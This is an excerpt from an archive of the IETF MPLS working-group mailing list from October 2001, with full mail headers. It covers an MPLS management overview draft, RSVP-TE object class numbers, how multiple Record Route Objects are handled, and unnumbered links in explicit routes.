Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02774
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 20:13:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmii21176;
	Fri, 26 Oct 2001 00:13:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmii02926
	for mpls-outgoing; Fri, 26 Oct 2001 00:13:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmii02919
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 00:12:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmii29097
	for <mpls@uu.net>; Fri, 26 Oct 2001 00:12:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmii27848
	for <mpls@uu.net>; Fri, 26 Oct 2001 00:12:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id UAA28395 for <mpls@uu.net>; Thu, 25 Oct 2001 20:12:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id UAA04480 for mpls@uu.net; Thu, 25 Oct 2001 20:12:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmii02697
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 00:11:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmii09718
	for <mpls@UU.NET>; Fri, 26 Oct 2001 00:10:07 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmii24657
	for <mpls@UU.NET>; Fri, 26 Oct 2001 00:10:26 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id UAA28296; Thu, 25 Oct 2001 20:10:05 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame1.cisco.com [10.83.99.122])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE16352;
	Thu, 25 Oct 2001 20:10:04 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011025201031.03eb9e18@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 20:11:02 -0400
To: "manis@futsoft.com" <manis@futsoft.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Cc: "'Cheenu Srinivasan'" <cheenu@alphion.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
In-Reply-To: <01C15D77.8D7793C0.manis@futsoft.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_126716048==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_126716048==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>I agree with you, that the reference need not be placed
>at all places.. But for the convenience of the readers, we
>can have some consistency in the doc.
>
>Currently the reference appears at some places and
>not at others.. My suggestion is, can this be made
>consistent.. ie.
>1) place at the first instance and leave it other places

         Sure, this sounds reasonable to me.

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_126716048==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<br>
<blockquote type=cite cite><font size=3>I agree with you, that the
reference need not be placed<br>
at all places.. But for the convenience of the readers, we<br>
can have some consistency in the doc.<br>
<br>
Currently the reference appears at some places and <br>
not at others.. My suggestion is, can this be made<br>
consistent.. ie.<br>
1) place at the first instance and leave it other
places</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Sure, this
sounds reasonable to me.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_126716048==_.ALT--



From owner-mpls@UU.NET  Thu Oct 25 21:28:43 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA04273
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 21:28:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmin04241;
	Fri, 26 Oct 2001 01:28:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmin28588
	for mpls-outgoing; Fri, 26 Oct 2001 01:28:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmin28577
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 01:28:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmin16686
	for <mpls@uu.net>; Fri, 26 Oct 2001 01:27:37 GMT
Received: from msgbas1.cos.agilent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: msgbas1x.cos.agilent.com [192.25.240.36])
	id QQlmin19649
	for <mpls@uu.net>; Fri, 26 Oct 2001 01:27:56 GMT
Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77])
	by msgbas1.cos.agilent.com (Postfix) with ESMTP id 94C463A61
	for <mpls@uu.net>; Thu, 25 Oct 2001 19:27:36 -0600 (MDT)
Received: from axcsbh2.cos.agilent.com (axcsbh2.cos.agilent.com [130.29.152.144])
	by msgrel1.cos.agilent.com (Postfix) with SMTP id 59E795B4
	for <mpls@uu.net>; Thu, 25 Oct 2001 19:27:36 -0600 (MDT)
Received: from 130.29.152.144 by axcsbh2.cos.agilent.com (InterScan E-Mail VirusWall NT); Thu, 25 Oct 2001 19:27:36 -0600
Received: by axcsbh2.cos.agilent.com with Internet Mail Service (5.5.2653.19)
	id <TTTV9XGS>; Thu, 25 Oct 2001 19:27:36 -0600
Message-ID: <0D9185CE635BD511ACA50090277A6FCF10C481@axcs18.cos.agilent.com>
From: "DUMONT,JOE (A-Portsmouth,ex1)" <joe_dumont@agilent.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: C-type definitions
Date: Thu, 25 Oct 2001 19:27:34 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I have read the draft

draft-ietf-mpls-generalized-rsvp-te-05.txt

and was wondering when the IANA and the IETF were going to assign 
the Class Nums to the following objects:

      o Suggested_Label    
      o Upstream_Label     
      o Recovery_Label     
      o Label_Set          
      o Notify_Request     
      o Protection         
      o Admin Status       
      o Restart_Cap        
	o Acceptable_Label_Set 

If they have already been assigned, what are their values?

thanks in advance!

regards...
____________________________
Joseph Dumont
Agilent Technologies
Advanced Networks Division
347 Burwood Highway
Australia Pty Ltd
Forest Hill, Victoria 3131
Australia
Tel:  61.3.9210.5668
Fax:  61.3.9210.5550
Email:  joe_dumont@agilent.com 


From owner-mpls@UU.NET  Fri Oct 26 07:06:08 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27080
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 07:06:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmka20754;
	Fri, 26 Oct 2001 11:06:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmka01345
	for mpls-outgoing; Fri, 26 Oct 2001 11:05:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmka00933
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 11:05:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmka15725
	for <mpls@uu.net>; Fri, 26 Oct 2001 11:05:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmka18883
	for <mpls@uu.net>; Fri, 26 Oct 2001 11:05:23 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id HAA28666 for <mpls@uu.net>; Fri, 26 Oct 2001 07:05:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA00057 for mpls@uu.net; Fri, 26 Oct 2001 07:05:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmka00743
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 11:04:27 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmka20778
	for <mpls@uu.net>; Fri, 26 Oct 2001 11:03:41 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQlmka16219
	for <mpls@uu.net>; Fri, 26 Oct 2001 11:03:55 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26938;
	Fri, 26 Oct 2001 07:03:30 -0400 (EDT)
Message-Id: <200110261103.HAA26938@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-mgmt-overview-00.txt
Date: Fri, 26 Oct 2001 07:03:30 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Management 
                          Overview
	Author(s)	: T. Nadeau, C. Srinivasan, A. Farrel
	Filename	: draft-ietf-mpls-mgmt-overview-00.txt
	Pages		: 11
	Date		: 25-Oct-01
	
This memo describes the Multi-Protocol Label Switching
(MPLS) [RFC3031] management architecture and the inter-
relationships between the different management information
bases (MIBs).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-mgmt-overview-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011025145411.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-mgmt-overview-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011025145411.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Fri Oct 26 11:50:21 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07923
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 11:50:21 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmkt29579;
	Fri, 26 Oct 2001 15:50:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmkt15060
	for mpls-outgoing; Fri, 26 Oct 2001 15:50:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmkt15049
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 15:49:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmkt08980
	for <mpls@UU.NET>; Fri, 26 Oct 2001 15:49:51 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmkt28544
	for <mpls@UU.NET>; Fri, 26 Oct 2001 15:50:10 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA28380
	for <mpls@UU.NET>; Fri, 26 Oct 2001 11:49:49 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA23471
	for <mpls@UU.NET>; Fri, 26 Oct 2001 11:49:49 -0400 (EDT)
Message-ID: <3BD98638.4DB6DF4E@marconi.com>
Date: Fri, 26 Oct 2001 11:50:16 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP rro QUESTIONS, can anyone help me for this?
References: <OF829CED76.705A43EA-ON85256AF1.0050BB65@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> On section 4.4 Record route object:
> ..................
> 
> [ If a path message contains multiple RROs, only the first RRO is
> maningful.  Subsequent RROs should be ignored and should not be
> propagated.
> Similary, if in a Resv MESSAGE MULIPLE RROs are encountered
> following a FILTER_SPEC before another Filter is encountered, only
> the first RRO is meaningful.  Subsequent RROs should be ignored and
> SHOULD NOT be propagated

Does this really require any further explanation?

> So here the multiple RROs, the order should be as is: 1st RRO is 1st,
> and 2nd RRO is 2nd,RRO as a whole.

Of course.  The first one appearing in the message is first.  It would
take an incredible twist of understanding to assume that the draft means
"last" when it says "first".

> As I observed, the one vendor will forward the second RRO if there
> are 2 RROs object existing in the path msg or resv msg.

Then this vendor has a broken implementation.  Have you informed them of
their bug?  They should fix it.

-- David


From owner-mpls@UU.NET  Fri Oct 26 12:23:08 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09229
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 12:23:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmkr01071;
	Fri, 26 Oct 2001 15:22:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmkr12893
	for mpls-outgoing; Fri, 26 Oct 2001 15:21:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmkr12888
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 15:21:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmkr23224
	for <mpls@UU.NET>; Fri, 26 Oct 2001 15:21:40 GMT
Received: from dnsmx1rrc.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQlmkr00737
	for <mpls@UU.NET>; Fri, 26 Oct 2001 15:21:59 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id LAA12789
	for <mpls@UU.NET>; Fri, 26 Oct 2001 11:20:51 -0400 (EDT)
Subject: RSVP rro QUESTIONS, can anyone help me for this?
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF829CED76.705A43EA-ON85256AF1.0050BB65@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Fri, 26 Oct 2001 11:20:49 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/26/2001 11:20:51 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I have questions for the RRO in the revpte draft.

On section 4.4 Record route object:
..................


[ If a path message contains multiple RROs, only the first RRO is
maningful.  Subsequent RROs should be ignored and should not be propagated.
Similary, if in a Resv MESSAGE MULIPLE RROs are encountered following a
FILTER_SPEC before another Filter is encountered, only the first RRO is
meaningful.  Subsequent RROs should be ignored and SHOULD NOT be
propagated.................]

(Path)  -                [SENDER_TSPEC], [first RRO], [second RRO]
(Resv) -                [FILTER_SPEC], [LABEL], [first RRO], [second RRO]

My question is :

So here the multiple RROs, the order should be as is: 1st RRO is 1st,
and 2nd RRO is 2nd,RRO as a whole.  or a LIFO stack is used, so the first
RROs of Multiple RROs would
be on the bottom, and when 2 RROs is received, the Second RRO should be
considered as the 'first one' and got forwarded.

As I observed, the one vendor will forward the second RRO if there are 2
RROs object existing in the path msg or resv msg.


Thanks a lot for your help.

Julia




From owner-mpls@UU.NET  Fri Oct 26 12:42:06 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09986
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 12:42:06 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmkw14587;
	Fri, 26 Oct 2001 16:41:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmkw08225
	for mpls-outgoing; Fri, 26 Oct 2001 16:41:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmkw08218
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 16:41:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmkw23365
	for <mpls@UU.NET>; Fri, 26 Oct 2001 16:41:32 GMT
Received: from dnsmx1rrc.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQlmkw13412
	for <mpls@UU.NET>; Fri, 26 Oct 2001 16:41:22 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id MAA00825
	for <mpls@UU.NET>; Fri, 26 Oct 2001 12:38:32 -0400 (EDT)
Subject: Re: RSVP rro QUESTIONS, can anyone help me for this?
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF4939A03B.89BB62B7-ON85256AF1.005A9846@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Fri, 26 Oct 2001 12:38:25 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/26/2001 12:38:33 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

                                                                                                                     
                    David Charlap                                                                                    
                    <David.Charlap@ma        To:     mpls@UU.NET                                                     
                    rconi.com>               cc:     (bcc: Hong Liao/Telcordia)                                      
                                             Subject:     Re: RSVP rro QUESTIONS, can anyone help me for this?       
                    10/26/01 11:50 AM                                                                                
                                                                                                                     
                                                                                                                     






Thanks for you reply.

I have one more question.

IngressA        ----- InterLSR  ---Egress
If I have ingress A, suppose it sends out the path msg with multiple RROs,
first rro is the IngressA's address, and then the second RRo just put any
other ip address there, then the InterLSR should only forward the first
RRO, which is the ingress A's address to the egress.  am I right?

Thanks again.

Julia




Hong Liao wrote:
>
> On section 4.4 Record route object:
> ..................
>
> [ If a path message contains multiple RROs, only the first RRO is
> maningful.  Subsequent RROs should be ignored and should not be
> propagated.
> Similary, if in a Resv MESSAGE MULIPLE RROs are encountered
> following a FILTER_SPEC before another Filter is encountered, only
> the first RRO is meaningful.  Subsequent RROs should be ignored and
> SHOULD NOT be propagated

Does this really require any further explanation?

> So here the multiple RROs, the order should be as is: 1st RRO is 1st,
> and 2nd RRO is 2nd,RRO as a whole.

Of course.  The first one appearing in the message is first.  It would
take an incredible twist of understanding to assume that the draft means
"last" when it says "first".

> As I observed, the one vendor will forward the second RRO if there
> are 2 RROs object existing in the path msg or resv msg.

Then this vendor has a broken implementation.  Have you informed them of
their bug?  They should fix it.

-- David





From owner-mpls@UU.NET  Fri Oct 26 12:50:10 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10578
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 12:50:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmkx18016;
	Fri, 26 Oct 2001 16:50:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmkx09206
	for mpls-outgoing; Fri, 26 Oct 2001 16:49:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmkx09201
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 16:49:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmkx25854
	for <mpls@uu.net>; Fri, 26 Oct 2001 16:49:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmkx15955
	for <mpls@uu.net>; Fri, 26 Oct 2001 16:49:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA05733 for <mpls@uu.net>; Fri, 26 Oct 2001 12:49:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA15283 for mpls@uu.net; Fri, 26 Oct 2001 12:49:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmkx09053
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 16:48:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmkx16799
	for <mpls@UU.NET>; Fri, 26 Oct 2001 16:47:20 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQlmkx12575
	for <mpls@UU.NET>; Fri, 26 Oct 2001 16:47:39 GMT
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9QGlNU13956;
	Fri, 26 Oct 2001 09:47:23 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f9QGlIw10760;
	Fri, 26 Oct 2001 09:47:18 -0700 (PDT)
Received: from cisco.com (dhcp-171-69-39-121.cisco.com [171.69.39.121]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id JAA27649; Fri, 26 Oct 2001 09:47:17 -0700 (PDT)
Message-ID: <3BD99349.68F7DCF7@cisco.com>
Date: Fri, 26 Oct 2001 09:46:01 -0700
From: Bora Akyol <bora@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <David.Charlap@marconi.com>
CC: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110241340.f9ODeo054781@merlot.juniper.net> <3BD6F0EF.C3C3A40B@marconi.com> <3BD7012C.7CD84C38@sandburst.com> <3BD70C5A.9FF43C61@marconi.com> <3BD70C7F.DA9719E1@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Yes

And that object was based on my now expired draft in
draft-akyol-mpls-expanded-ero-00.txt

I guess as people get around to implementing this stuff, they realize that

they need more information. This is what happens when you first write the
draft and then write the code.

Additionally, there is quiet a few "implementation" decisions that you
make as you write the CSPF and traffic engineering database code as well.
Sounds like fun, it sure is.



Bora


David Charlap wrote:

> Eric Gray wrote:
> >
> > Maybe I missed something: I thought support for unnumbered links
> > needed to be added for GMPLS because there are problems with these
> > links in the general case.  I was not aware that there are problems
> > with unnumbered links in the Ethernet, PPP, ATM and Frame Relay
> > cases or in basic signaling of MPLS explicit routes.
> >
> > What exactly are the problems with using unnumbered links in the
> > specific cases defined for MPLS?
>
> Without extensions, an ERO can not specify which of several parallel
> unnumbered links should be used for an LSP.
>
> The unnumbered draft defines a new ERO subobject, which will allow for
> this kind of specification.
>
> But without thit unnumbered-link extensions in the IGP's topology, the
> information necessary to compute an ERO using this subobject is not
> present.
>
> -- David



From owner-mpls@UU.NET  Fri Oct 26 13:22:41 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
